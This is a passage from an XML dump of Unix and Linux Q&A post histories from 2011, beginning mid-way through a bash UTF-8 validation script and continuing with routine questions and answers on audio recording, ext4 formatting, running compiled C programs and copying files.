&quot;ERROR: VALID UTF-8 found: ${B3b1}${B3b2}${B3b3}&quot;; exit 31; }&#xD;&#xA;                  #&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    #########################################################################&#xD;&#xA;    #########################################################################&#xD;&#xA;    #########################################################################&#xD;&#xA;    #########################################################################&#xD;&#xA;&#xD;&#xA;    #  Brute force testing in the Astral Plane will take a VERY LONG time..&#xD;&#xA;    #  Perhaps selective testing is more appropriate, now that the previous tests &#xD;&#xA;    #     have panned out okay... &#xD;&#xA;    #  &#xD;&#xA;    #  4 Byte  UTF-8 values:&#xD;&#xA;    if ((B4==1)) ; then  &#xD;&#xA;      echo &quot;# Test 4 bytes for Valid UTF-8 values: ie. values which are in range&quot;&#xD;&#xA;      # ==================================================================&#xD;&#xA;      # real    58m18.531s \&#xD;&#xA;      # user    56m44.317s  | &#xD;&#xA;      # sys     27m29.867s /&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {240..244} ;do&#xD;&#xA;          #     bin       oct  hex  dec&#xD;&#xA;          # lo  11110000  360   F0  240&#xD;&#xA;          # hi  11110100  364   F4  244  -- F4 encodes some values greater than 0x10FFFF;&#xD;&#xA;          #                                    such a sequence is invalid.&#xD;&#xA;          B4b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          if   [[ $B4b1 == &quot;F0&quot; ]] ; then&#xD;&#xA;            B4b2range=&quot;$(echo {144..191})&quot; ## f0 90 80 80  to  f0 bf bf bf&#xD;&#xA;            #     bin       oct  hex  dec          010000  --  03FFFF &#xD;&#xA;            # lo  10010000  220   90  144  &#xD;&#xA;            # hi  10111111  277   BF  191&#xD;&#xA;            #                            &#xD;&#xA;          elif [[ $B4b1 == &quot;F4&quot; ]] ; then&#xD;&#xA;            B4b2range=&quot;$(echo {128..143})&quot; ## f4 80 80 80  to  f4 8f bf bf&#xD;&#xA;            #     bin       oct  hex  dec          100000  --  10FFFF &#xD;&#xA;            # lo  10000000  200   80  128  &#xD;&#xA;            # hi  10001111  217   8F  143  -- F4 encodes some values greater than 0x10FFFF;&#xD;&#xA;            #                                    such a sequence is invalid.&#xD;&#xA;          else&#xD;&#xA;            B4b2range=&quot;$(echo {128..191})&quot; ## fx 80 80 80  to  f3 bf bf bf&#xD;&#xA;            #     bin       oct  hex  dec          0C0000  --  0FFFFF&#xD;&#xA;            # lo  10000000  200   80  128          0A0000&#xD;&#xA;            # hi  10111111  277   BF  191&#xD;&#xA;          fi&#xD;&#xA;          #&#xD;&#xA;          for d2 in $B4b2range ;do&#xD;&#xA;              B4b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              #&#xD;&#xA;              for d3 in {128..191} ;do&#xD;&#xA;                  #     bin       oct  hex  dec&#xD;&#xA;                  # lo  10000000  200   80  128&#xD;&#xA;                  # hi  10111111  277   BF  191&#xD;&#xA;                  B4b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  echo &quot;${B4b1} ${B4b2} ${B4b3} xx&quot;&#xD;&#xA;                  #&#xD;&#xA;                  for d4 in {128..191} ;do&#xD;&#xA;                      #     bin       oct  hex  dec&#xD;&#xA;                      # lo  10000000  200   80  128&#xD;&#xA;                      # hi  10111111  277   BF  191&#xD;&#xA;                      B4b4=$(printf &quot;%0.2X&quot; $d4)&#xD;&#xA;                      #&#xD;&#xA;                      echo -n &quot;${B4b1}${B4b2}${B4b3}${B4b4}&quot; |&#xD;&#xA;                        xxd -p -u -r  |&#xD;&#xA;                          iconv -f UTF-8 &gt;/dev/null || { &#xD;&#xA;                            echo &quot;ERROR: Invalid UTF-8 found: ${B4b1}${B4b2}${B4b3}${B4b4}&quot;; exit 40; }&#xD;&#xA;                      #&#xD;&#xA;                  done&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo &quot;# Test 4 bytes for Valid UTF-8 values: END&quot;&#xD;&#xA;      echo&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ########################################################################&#xD;&#xA;    #                                                                      #   &#xD;&#xA;    # There is no test (yet) for negated range values in the astral plane. #  &#xD;&#xA;    #                           (all negated range values must be invalid) #&#xD;&#xA;    #  I won't bother; This was mainly for me to ge the general feel of    #     &#xD;&#xA;    #   the tests, and the final test below should flush anything out..    #&#xD;&#xA;    # Traversing the intire UTF-8 range takes quite a while...             #&#xD;&#xA;    #   so no need to do it twice (albeit in a slightly different manner)  #&#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;    ################################&#xD;&#xA;    ### The construction of:    ####&#xD;&#xA;    ###  The Regular Expression ####&#xD;&#xA;    ###      (de-construction?) ####&#xD;&#xA;    ################################&#xD;&#xA;&#xD;&#xA;    #     BYTE 1                BYTE 2       BYTE 3      BYTE 4 &#xD;&#xA;    # 1: [\x00-\x7F]&#xD;&#xA;    #    ===========&#xD;&#xA;    #    ([\x00-\x7F])&#xD;&#xA;    #&#xD;&#xA;    # 2: [\xC2-\xDF]           [\x80-\xBF]&#xD;&#xA;    #    =================================&#xD;&#xA;    #    ([\xC2-\xDF][\x80-\xBF])&#xD;&#xA;    # &#xD;&#xA;    # 3: [\xE0]                [\xA0-\xBF]  [\80-\xBF]   &#xD;&#xA;    #    [\xED]                [\x80-\x9F]  [\80-\xBF]&#xD;&#xA;    #    [\xE1-\xEC\xEE-\xEF]  [\x80-\xBF]  [\80-\xBF]&#xD;&#xA;    #    =============================================&#xD;&#xA;    #    ((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))&#xD;&#xA;    #&#xD;&#xA;    # 4  [\xF0]                [\x90-\xBF]  [\80-\xBF]  [\80-\xBF]    &#xD;&#xA;    #    [\xF1-\xF3]           [\x80-\xBF]  [\80-\xBF]  [\80-\xBF]&#xD;&#xA;    #    [\xF4]                [\x80-\x8F]  [\80-\xBF]  [\80-\xBF]&#xD;&#xA;    #    =========================================================&#xD;&#xA;    #    ((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\80-\xBF]{2})))&#xD;&#xA;    #&#xD;&#xA;    # The final regex&#xD;&#xA;    # ===============&#xD;&#xA;    # (([\x00-\x7F])|([\xC2-\xDF][\x80-\xBF])|((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))|((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\80-\xBF]{2})))&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ###################################################################&#xD;&#xA;    #  The final Test; for a single character (multi chars to follow) #  &#xD;&#xA;    #   Compare the return code of 'ivonv' against the 'regex'        #&#xD;&#xA;    #   for the full range of 0x000000 to 0x10FFFF                    #    &#xD;&#xA;    ###################################################################&#xD;&#xA;    if ((rx==1)) ; then&#xD;&#xA;      time { &#xD;&#xA;      decBeg=$((0x000000))&#xD;&#xA;    # decBeg=$((0x00D800))&#xD;&#xA;      decMax=$((0x10FFFF))&#xD;&#xA;    # decMax=$((0x001000))&#xD;&#xA;      for ((dec=decBeg;dec&lt;=decMax;dec++)) ;do&#xD;&#xA;          hex=$(printf '%0.6X\n' $dec)&#xD;&#xA;          ucp=&quot;$(perl -C -e 'print chr '0x$hex)&quot;&#xD;&#xA;          #&#xD;&#xA;          # Uncomment the next line to see all Unicode characters.&#xD;&#xA;          # echo -n &quot;$ucp&quot;&#xD;&#xA;          #&#xD;&#xA;          # Uncomment the next line to see a progress count  &#xD;&#xA;          (((dec%4096)==0)) &amp;&amp; echo $hex&#xD;&#xA;&#xD;&#xA;          # iconv test&#xD;&#xA;          echo -n &quot;$ucp&quot; |iconv -f UTF-8 &amp;&gt;/dev/null&#xD;&#xA;          iconvrc=$?&#xD;&#xA;          ((iconvrc|=0)) &amp;&amp; iconvrc=1&#xD;&#xA;     &#xD;&#xA;          # regex test&#xD;&#xA;          regexrc=&quot;$(echo -n &quot;$ucp&quot; |perl -l -ne '/^(([\x00-\x7F])|([\xC2-\xDF][\x80-\xBF])|((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))|((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\80-\xBF]{2})))$/ or print')&quot;&#xD;&#xA;          [[ -z $regexrc ]] &amp;&amp; regexrc=0 || regexrc=1 &#xD;&#xA;          # echo $iconvrc $regexrc&#xD;&#xA;          if ((regexrc!=iconvrc)) ;then&#xD;&#xA;              if ((regexrc==1)) ;then&#xD;&#xA;                  echo &quot;ERROR: Invalid UTF-8 found by 'regex' but NOT by 'iconv': ${hex}&quot;&#xD;&#xA;              else&#xD;&#xA;                  echo &quot;ERROR: Invalid UTF-8 found by 'iconv' but NOT by 'regex': ${hex}&quot;&#xD;&#xA;              fi&#xD;&#xA;          fi &#xD;&#xA;      done&#xD;&#xA;      } # End time&#xD;&#xA;    fi&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30770" PostHistoryTypeId="2" PostId="12546" RevisionGUID="b8890dc5-aa9c-4f78-8da2-223498cdc88f" CreationDate="2011-05-03T18:57:24.763" UserId="1925" Text="Yes. Actually there are lots of ways. You can setup a sound dummy sound card device that you can just rip the data out of the device ... however this isn't a very useful format.&#xD;&#xA;&#xD;&#xA;More useful to you is something like the `arecord` utility that allows you to evesdrop on the alsa output stream and save it to several known formats. Basically anything that you can get to play over the alsa sound system can be copied to a standard format sound file. Similar tools exist for pulse audio." />
  <row Id="30771" PostHistoryTypeId="2" PostId="12547" RevisionGUID="98f5f65c-5d1a-4eca-9eb4-b54895ac1448" CreationDate="2011-05-03T19:06:30.823" UserId="6245" Text="It is _supposed_ to be possible to record directly in to Audacity, but I couldn't get that to work on my system (Ubuntu 10.10).&#xD;&#xA;So following the instructions [here](http://wiki.audacityteam.org/wiki/Recording_audio_playing_on_the_computer#Linux) from the Audacity wiki, I use the `ALSA` playback device to divert the audio to a file.&#xD;&#xA;&#xD;&#xA;This uses an `.asoundrc` file (in your home directory):&#xD;&#xA;&#xD;&#xA;    pcm.teeraw {&#xD;&#xA;       type empty&#xD;&#xA;       slave.pcm &quot;tee:default,'/tmp/out.raw',raw&quot;&#xD;&#xA;       # 48000 S16_LE 2ch (aplay -t raw -f dat)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For recording from flash (on firefox), I use&#xD;&#xA;&#xD;&#xA;    FLASH_ALSA_DEVICE=teeraw firefox&#xD;&#xA;&#xD;&#xA;The resulting file, `/tmp/out.raw` is in raw format so converting it needs knowing what the right parameters are.&#xD;&#xA;Bizarrely, `lame` seems able to work this out for itself but `sox` needs to know it explicitly.&#xD;&#xA;So the following all seem to work:&#xD;&#xA;&#xD;&#xA;    aplay -t raw -f dat -r 44100 /tmp/out.raw # to play&#xD;&#xA;    sox -r 44100 -b 16 -e signed -c 2 /tmp/out.raw /tmp/out.wav # to convert to wav&#xD;&#xA;    lame /tmp/out.raw # to convert to mp3&#xD;&#xA;" />
  <row Id="30772" PostHistoryTypeId="2" PostId="12548" RevisionGUID="7d86b70b-85b3-46aa-b421-2c2e446160a1" CreationDate="2011-05-03T19:08:33.317" UserId="6245" Text="An alternative method is to hold down the shift key when copying (this also works for pasting _from_ the clipboard in to vim).  This then copies to the clipboard.&#xD;&#xA;&#xD;&#xA;(To be clear, this works for `vim` running in a terminal such as `xterm`.)        &#xD;&#xA;&#xD;&#xA;" />
  <row Id="30773" PostHistoryTypeId="2" PostId="12549" RevisionGUID="4f97333a-4cb3-4764-b714-cb31685b954d" CreationDate="2011-05-03T14:45:02.170" UserDisplayName="EmBee" Text="Just got a new 2TB hardrive for my Debian Squeeze Box.  Trying to format it in ext4 after creating a Primary partition using cfdisk.  &#xD;&#xA;&#xD;&#xA;I just did this exact process with a 120GB drive on the same system with no problems.&#xD;&#xA;&#xD;&#xA;After searching for the returned error on Google, it seems that it usually comes up when people are trying to format an Extended partition, not a Primary.  Mine is a primary and is still showing the error.  &#xD;&#xA;&#xD;&#xA;See my shell output below for the details.  Any idea why this is giving so much trouble?  &#xD;&#xA;&#xD;&#xA;Output of `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdb: 2000.4 GB, 2000398934016 bytes  &#xD;&#xA;    255 heads, 63 sectors/track, 243201 cylinders  &#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes  &#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes  &#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes  &#xD;&#xA;    Disk identifier: 0x00000000  &#xD;&#xA;    &#xD;&#xA;      &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System  &#xD;&#xA;    /dev/sdb1               1      243201  1953512001   83  Linux&#xD;&#xA;&#xD;&#xA;And then:&#xD;&#xA;&#xD;&#xA;    :~# mkfs.ext4 /dev/sdb1  &#xD;&#xA;    mke2fs 1.41.12 (17-May-2010)  &#xD;&#xA;    **mkfs.ext4: inode_size (128) * inodes_count (0) too big for a  &#xD;&#xA;            filesystem with 0 blocks, specify higher inode_ratio (-i)  &#xD;&#xA;            or lower inode count (-N).**&#xD;&#xA;&#xD;&#xA;tried again using `/dev/sdb`:&#xD;&#xA;&#xD;&#xA;    :~# mkfs.ext4 /dev/sdb  &#xD;&#xA;    mke2fs 1.41.12 (17-May-2010)  &#xD;&#xA;    /dev/sdb is entire device, not just one partition!  &#xD;&#xA;    Proceed anyway? (y,n) y  &#xD;&#xA;    /dev/sdb is apparently in use by the system; will not make a filesystem here!  &#xD;&#xA;    :~#&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30774" PostHistoryTypeId="1" PostId="12549" RevisionGUID="4f97333a-4cb3-4764-b714-cb31685b954d" CreationDate="2011-05-03T14:45:02.170" UserDisplayName="EmBee" Text="ext4 formatting weirdness" />
  <row Id="30775" PostHistoryTypeId="3" PostId="12549" RevisionGUID="4f97333a-4cb3-4764-b714-cb31685b954d" CreationDate="2011-05-03T14:45:02.170" UserDisplayName="EmBee" Text="édebianàéext4à" />
  <row Id="30776" PostHistoryTypeId="17" PostId="12549" RevisionGUID="f15bc71b-0315-46ac-98b8-4bb97cd21884" CreationDate="2011-05-03T19:59:28.627" UserId="-1" Comment="from http://stackoverflow.com/questions/5871276/ext4-formatting-weirdness" Text="" />
  <row Id="30777" PostHistoryTypeId="5" PostId="12473" RevisionGUID="b56a9c98-ab1c-4052-9590-917fdee98b0b" CreationDate="2011-05-03T20:08:11.920" UserId="29" Comment="make it more obvious" Text="[@behrooz](http://unix.stackexchange.com/users/7139/behrooz) is correct. Unfortunately `uname` requires you to know architectures. Actually, I was looking for a list of architectures and I found [this article](http://www.cyberciti.biz/faq/linux-how-to-find-if-processor-is-64-bit-or-not/) that answers your question. In regards to `uname -m`:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;x86_64 GNU/Linux indicates that you've a 64bit Linux kernel running. If you use see i386/i486/i586/i686 it is a 32 bit kernel.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;**To determine if the hardware is capable of running a 64-bit kernel**&#xD;&#xA;&#xD;&#xA;    grep flags /proc/cpuinfo&#xD;&#xA;&#xD;&#xA;Look for the following in the output (all flags retrieved from [this stackoverflow answer](http://stackoverflow.com/questions/246007/how-to-determine-whether-a-given-linux-is-32-bit-or-64-bit/246014#246014) for the same question )&#xD;&#xA;&#xD;&#xA; * `lm` flag means Long mode cpu - 64 bit CPU&#xD;&#xA; * `tm` flag means Protected mode - 32-bit CPU&#xD;&#xA; * `rm` flag means Real Mode - 16 bit CPU" />
  <row Id="30782" PostHistoryTypeId="2" PostId="12550" RevisionGUID="9f30ae68-1d68-4888-9eae-474bd0ada91d" CreationDate="2011-05-03T20:27:19.263" UserId="7124" Text="I watched a video lecture today that introduced C and things like how to make a C program that will run in Linux. I followed the steps given and now I'm stuck with a bit of a problem.&#xD;&#xA;&#xD;&#xA;I created my C file (HelloWorld.c) and used the command _gcc -o HelloWorld HelloWorld.c_ to compile the file, both of these steps were successful. Afterwards I checked to make sure that HelloWorld had been created by using the command _ls_, and it had been. However, when I use the command _HelloWorld_, which is supposed to run the program, I get an error that says _HelloWorld: command not found_.&#xD;&#xA;&#xD;&#xA;In the video lecture the professor did mention that this worked for 32-bit systems and I'm using a 64-bit system. Perhaps this could be the problem?&#xD;&#xA;&#xD;&#xA;EDIT: Also in the video lecture the professor mentioned that when I use the command _ls_ I should see _HelloWorld*_. I see only HelloWorld (without the star)." />
  <row Id="30783" PostHistoryTypeId="1" PostId="12550" RevisionGUID="9f30ae68-1d68-4888-9eae-474bd0ada91d" CreationDate="2011-05-03T20:27:19.263" UserId="7124" Text="Running C Programs on Linux" />
  <row Id="30784" PostHistoryTypeId="3" PostId="12550" RevisionGUID="9f30ae68-1d68-4888-9eae-474bd0ada91d" CreationDate="2011-05-03T20:27:19.263" UserId="7124" Text="écommandölineàécàégccàécommandönotöfoundà" />
  <row Id="30785" PostHistoryTypeId="2" PostId="12551" RevisionGUID="2a8e6b98-ad1d-4ac7-a021-379866a154e6" CreationDate="2011-05-03T20:29:14.343" UserId="5770" Text="I'm finding myself in a terminal more and more often these days as I learn to do certain types of things quicker or more conveniently.&#xD;&#xA;&#xD;&#xA;However, when it comes to copying a large amount of data (i.e. hundreds of gigabytes) from one HDD to another, I always revert to the GUI (Nautilus or Finder in my case; the file systems are ext4 or HFS+).&#xD;&#xA;&#xD;&#xA;What I have in mind is the initial copying of data to a new larger HDD that's replacing an older one, or to an external back-up HDD.&#xD;&#xA;&#xD;&#xA;Are there any tangible benefits to be had using terminal commands in this setting? If so, what are they?" />
  <row Id="30786" PostHistoryTypeId="1" PostId="12551" RevisionGUID="2a8e6b98-ad1d-4ac7-a021-379866a154e6" CreationDate="2011-05-03T20:29:14.343" UserId="5770" Text="Terminal command vs. GUI drag &amp; drop when copying large no. of files: Any tangible benefit?" />
  <row Id="30787" PostHistoryTypeId="3" PostId="12551" RevisionGUID="2a8e6b98-ad1d-4ac7-a021-379866a154e6" CreationDate="2011-05-03T20:29:14.343" UserId="5770" Text="écommandölineàéterminalàébackupàéfileöcopyà" />
  <row Id="30788" PostHistoryTypeId="2" PostId="12552" RevisionGUID="4aed1b27-ffa8-48cc-aef1-28e64a9fb1e9" CreationDate="2011-05-03T20:41:11.507" UserId="885" Text="In the `dmidecode` output, I see:&#xD;&#xA;&#xD;&#xA;* The `Physical Memory Array` entry has a record `Number Of Devices: 2`.&#xD;&#xA;* There are two `Memory Device` entries (as expected). One is for a 1024MB DIMM (DDR2) in `Bank0/1`, the other is empty (`No Module Installed`) in `Bank2/3`.&#xD;&#xA;&#xD;&#xA;My understanding is that either you have two slots for memory modules, one has a 1GB module, and the other is empty; or else you have one of those motherboard types that require matching pairs of module, with four slots, one pair of slots with matching 512MB modules and the other pair of slots empty. Either way, you only have 1GB of memory.&#xD;&#xA;&#xD;&#xA;Check how much memory the BIOS reports. Check how much memory [Memtest86+](http://www.memtest.org/) sees. I suspect you'll find that all software reports 1GB.&#xD;&#xA;&#xD;&#xA;If you think you have 2GB, then check your memory modules again. If you have modules not accounted for, make sure they're inserted properly; try removing the module(s) in bank 0/1 and moving the modules from bank 2/3 to bank 0/1. Your modules or motherboard may be defective, or they may be incompatible.&#xD;&#xA;&#xD;&#xA;An additional point is that 896796kB is 148MB short of 1GB. That total memory is not your total physical RAM, it's the RAM that's available to applications. The remainder is used by&#xD;&#xA;&#xD;&#xA;* hardware peripherals, usually the graphics card. The one in your machine is probably using 126MB.&#xD;&#xA;* the kernel. 20MB is in the expected ballpark.&#xD;&#xA;" />
  <row Id="30789" PostHistoryTypeId="2" PostId="12553" RevisionGUID="984b20c2-bd79-4e92-be7c-91fd985edf1f" CreationDate="2011-05-03T20:42:51.160" UserId="732" Text="You don't have the value of the PATH environment variable set to include whatever directory the HelloWorld executable file lives in.&#xD;&#xA;&#xD;&#xA;Supposing you have used `cd` to get to the directory, you can run HelloWorld with this command: `./HelloWorld`&#xD;&#xA;&#xD;&#xA;Linux shells have a concept called PATH, which is a list of directories in which to look when the user issues a command without a fully-qualified path name (/usr/bin/ls is fully qualified: it starts at '/' and ends at 'ls', but ls is not fully-qualified).  If you don't have an entry of '.' in PATH, you have to explicitly use &quot;./&quot; on the beginning of a command to get the file of that name in the current directory to execute." />
  <row Id="30790" PostHistoryTypeId="2" PostId="12554" RevisionGUID="9ff8963a-515c-4f58-b87c-c3cc6ac44fae" CreationDate="2011-05-03T20:50:36.550" UserId="6507" Text="Use ls -F to see a star at the end of filename.  You can set the environment variable LS_OPTIONS to automatically include this and any other number of options for you.  The commands for ls are listed in the ls man page, to see them run:  man ls " />
  <row Id="30791" PostHistoryTypeId="5" PostId="12550" RevisionGUID="6fe7e219-692e-412d-8d76-29845d49f741" CreationDate="2011-05-03T20:52:49.433" UserId="3447" Comment="Made commands easier to see. Replace _ with `" Text="I watched a video lecture today that introduced C and things like how to make a C program that will run in Linux. I followed the steps given and now I'm stuck with a bit of a problem.&#xD;&#xA;&#xD;&#xA;I created my C file (HelloWorld.c) and used the command `gcc -o HelloWorld HelloWorld.c` to compile the file, both of these steps were successful. Afterwards I checked to make sure that HelloWorld had been created by using the command `ls`, and it had been. However, when I use the command `HelloWorld`, which is supposed to run the program, I get an error that says `HelloWorld: command not found`.&#xD;&#xA;&#xD;&#xA;In the video lecture the professor did mention that this worked for 32-bit systems and I'm using a 64-bit system. Perhaps this could be the problem?&#xD;&#xA;&#xD;&#xA;EDIT: Also in the video lecture the professor mentioned that when I use the command `ls` I should see `HelloWorld*`. I see only HelloWorld (without the star)." />
  <row Id="30792" PostHistoryTypeId="24" PostId="12550" RevisionGUID="6fe7e219-692e-412d-8d76-29845d49f741" CreationDate="2011-05-03T20:52:49.433" Comment="Proposed by 3447 approved by 885 edit id of 350" />
  <row Id="30793" PostHistoryTypeId="6" PostId="12550" RevisionGUID="cb640e10-44a0-4b0f-9068-03688ab23a70" CreationDate="2011-05-03T20:53:20.243" UserId="885" Comment="edited tags" Text="écommandölineàéexecutableàégccàécommandönotöfoundà" />
  <row Id="30794" PostHistoryTypeId="6" PostId="12551" RevisionGUID="7edfe28d-ad01-49da-aae3-7bfae362043a" CreationDate="2011-05-03T20:54:20.070" UserId="885" Comment="edited tags" Text="écommandölineàéfileöcopyà" />
  <row Id="30795" PostHistoryTypeId="2" PostId="12555" RevisionGUID="e515f5f9-0a10-4d51-8d55-b40d5815356b" CreationDate="2011-05-03T20:59:50.927" UserId="3513" Text="I recently upgraded an openSUSE 11.3 install to 11.4 by downloading the DVD, burning it, &amp; chosing the upgrade option upon booting to it. I used all the upgrade defaults. Upon coming back up, I added the FreeNX zypper repository &amp; installed the latest FreeNX. Connecting via FreeNX works, but I'm not able to see any window menus on any of my applications. They get stuck to the top left corner of the screen &amp;/or they don't have the window border surrounding the window (as in the top bar that contains the minimize/maximize buttons).&#xD;&#xA;&#xD;&#xA;I've verified it's not a user problem because I created a new user &amp; logged in as the user for the first time &amp; it still happened to that user too." />
  <row Id="30796" PostHistoryTypeId="1" PostId="12555" RevisionGUID="e515f5f9-0a10-4d51-8d55-b40d5815356b" CreationDate="2011-05-03T20:59:50.927" UserId="3513" Text="No window menus in freenx" />
  <row Id="30797" PostHistoryTypeId="3" PostId="12555" RevisionGUID="e515f5f9-0a10-4d51-8d55-b40d5815356b" CreationDate="2011-05-03T20:59:50.927" UserId="3513" Text="éremoteàémenuà" />
  <row Id="30798" PostHistoryTypeId="2" PostId="12556" RevisionGUID="3c9d6ac9-8ec3-448c-a0ec-7f2ba01f5d4e" CreationDate="2011-05-03T20:59:52.170" UserId="885" Text="I don't really see a difference between copying many files and other tasks, usually what makes the command line more attractive is&#xD;&#xA;&#xD;&#xA;* simple tasks which are trivial enough for you to do on the command line, so that using the GUI would be a waste of time (faster to type a few characters than click in menus, if you know what characters to type);&#xD;&#xA;* very complex tasks which the GUI just isn't capable of doing.&#xD;&#xA;&#xD;&#xA;There's another benefit I see to the command line in one very specific circumstance. If you're performing a very long operation, like copying many files, and you may want to check the progress while logged into your machine remotely, then it's convenient to see the task's progress screen. Then it's convenient to run the task in a terminal multiplexer like [Screen](http://en.wikipedia.org/wiki/GNU_Screen) or Tmux. Start Screen, start the task inside Screen, then later connect to your machine with SSH and attach to that Screen session.&#xD;&#xA;" />
  <row Id="30799" PostHistoryTypeId="6" PostId="12541" RevisionGUID="2574d3a1-0498-46fd-8126-c42bdffeff3d" CreationDate="2011-05-03T21:06:10.477" UserId="885" Comment="edited tags" Text="éaudioàédevicesàérecordingà" />
  <row Id="30800" PostHistoryTypeId="2" PostId="12557" RevisionGUID="2d08d5a6-0a71-4f9a-9025-d3d46bac0650" CreationDate="2011-05-03T21:06:22.333" UserId="1777" Text="Dear all, I was wondering where the trampoline code went. It is referenced [here] [1], and I could find some code in an earlier [distro][2], but I can't find it in the 2.6.38 kernel. Can you explain to me the path of execution, if `trampoline.S` is not there anymore? Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/linux+v2.6.38/arch/x86/kernel/head_32.S#L269&#xD;&#xA;  [2]: http://lxr.e2g.org/source/arch/i386/kernel/trampoline.S?v=s3c-linux.2.6.21" />
  <row Id="30801" PostHistoryTypeId="1" PostId="12557" RevisionGUID="2d08d5a6-0a71-4f9a-9025-d3d46bac0650" CreationDate="2011-05-03T21:06:22.333" UserId="1777" Text="Where did Trampoline.S go?" />
  <row Id="30802" PostHistoryTypeId="3" PostId="12557" RevisionGUID="2d08d5a6-0a71-4f9a-9025-d3d46bac0650" CreationDate="2011-05-03T21:06:22.333" UserId="1777" Text="ékernelà" />
  <row Id="30803" PostHistoryTypeId="25" PostId="12550" RevisionGUID="25c83fa2-103f-4307-9879-cd57b2de883a" CreationDate="2011-05-03T21:11:22.780" Comment="http://twitter.com/#!/StackUnix/status/65523871641636864" />
  <row Id="30804" PostHistoryTypeId="2" PostId="12558" RevisionGUID="207cbc75-56e2-47bc-baf7-6091566b2fe9" CreationDate="2011-05-03T21:21:02.033" UserId="885" Text="If your system, or just the application you want to record, is directing its output to a [sound server](http://en.wikipedia.org/wiki/Sound_server), look into recording possibilities for that sound server. For example, on Ubuntu, the official sound server is [PulseAudio](http://en.wikipedia.org/wiki/PulseAudio), which comes with the [`parec`](http://pulseaudio.org/wiki/FAQ#Whichprogramtouseforrecording) command (from the [`pulseaudio-utils` package](http://packages.ubuntu.com/pulseaudio-utils) [![Install pulseaudio-utils](http://bit.ly/software-small)](http://apt.ubuntu.com/p/pulseaudio-utils)). You may need to convert the output from `parec` into something usable with [SoX](http://en.wikipedia.org/wiki/SoX) (Ubuntu: [`sox`](http://packages.ubuntu.com/sox) [![Install sox](http://bit.ly/software-small)](http://apt.ubuntu.com/p/sox)).&#xD;&#xA;&#xD;&#xA;    parec -r --rate=44100 | sox --type raw --rate 44100 - --type ogg recording.ogg&#xD;&#xA;" />
  <row Id="30805" PostHistoryTypeId="5" PostId="11376" RevisionGUID="453e3792-9cd4-478d-bcdd-da0075e9aa4e" CreationDate="2011-05-03T21:29:44.327" UserId="2511" Comment="deleted 2 characters in body; edited title; edited title" Text="I have seen `--` used in the `compgen` command.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    compgen -W &quot;foo bar baz&quot; -- b&#xD;&#xA;&#xD;&#xA;What is the meaning of the `--`." />
  <row Id="30806" PostHistoryTypeId="4" PostId="11376" RevisionGUID="453e3792-9cd4-478d-bcdd-da0075e9aa4e" CreationDate="2011-05-03T21:29:44.327" UserId="2511" Comment="deleted 2 characters in body; edited title; edited title" Text="What does &quot;--&quot; (double-dash) mean?" />
  <row Id="30807" PostHistoryTypeId="2" PostId="12559" RevisionGUID="16ddaaea-88ec-4b8e-a092-01c495f45566" CreationDate="2011-05-03T21:35:39.070" UserId="4671" Text="I'm not sure why nobody ever mentions [Debian Policy](http://www.debian.org/doc/debian-policy/), which is the rocket fuel that makes Debian go. If you haven't read it, go and look at it. As far as I know, it is unique. No other operating system, free or proprietary, has anything like it. Among other things, Policy determines how Debian packages are made, how they fit together, and also help to determine bug classification. To quote [Scope](http://www.debian.org/doc/debian-policy/ch-scope.html):&#xD;&#xA;&#xD;&#xA;&gt; In the normative part of this manual,&#xD;&#xA;&gt; the words must, should and may, and&#xD;&#xA;&gt; the adjectives required, recommended&#xD;&#xA;&gt; and optional, are used to distinguish&#xD;&#xA;&gt; the significance of the various&#xD;&#xA;&gt; guidelines in this policy document.&#xD;&#xA;&gt; Packages that do not conform to the&#xD;&#xA;&gt; guidelines denoted by must (or&#xD;&#xA;&gt; required) will generally not be&#xD;&#xA;&gt; considered acceptable for the Debian&#xD;&#xA;&gt; distribution. Non-conformance with&#xD;&#xA;&gt; guidelines denoted by should (or&#xD;&#xA;&gt; recommended) will generally be&#xD;&#xA;&gt; considered a bug, but will not&#xD;&#xA;&gt; necessarily render a package&#xD;&#xA;&gt; unsuitable for distribution.&#xD;&#xA;&gt; Guidelines denoted by may (or&#xD;&#xA;&gt; optional) are truly optional and&#xD;&#xA;&gt; adherence is left to the maintainer's&#xD;&#xA;&gt; discretion.&#xD;&#xA;&gt; &#xD;&#xA;&gt; These classifications are roughly&#xD;&#xA;&gt; equivalent to the bug severities&#xD;&#xA;&gt; serious 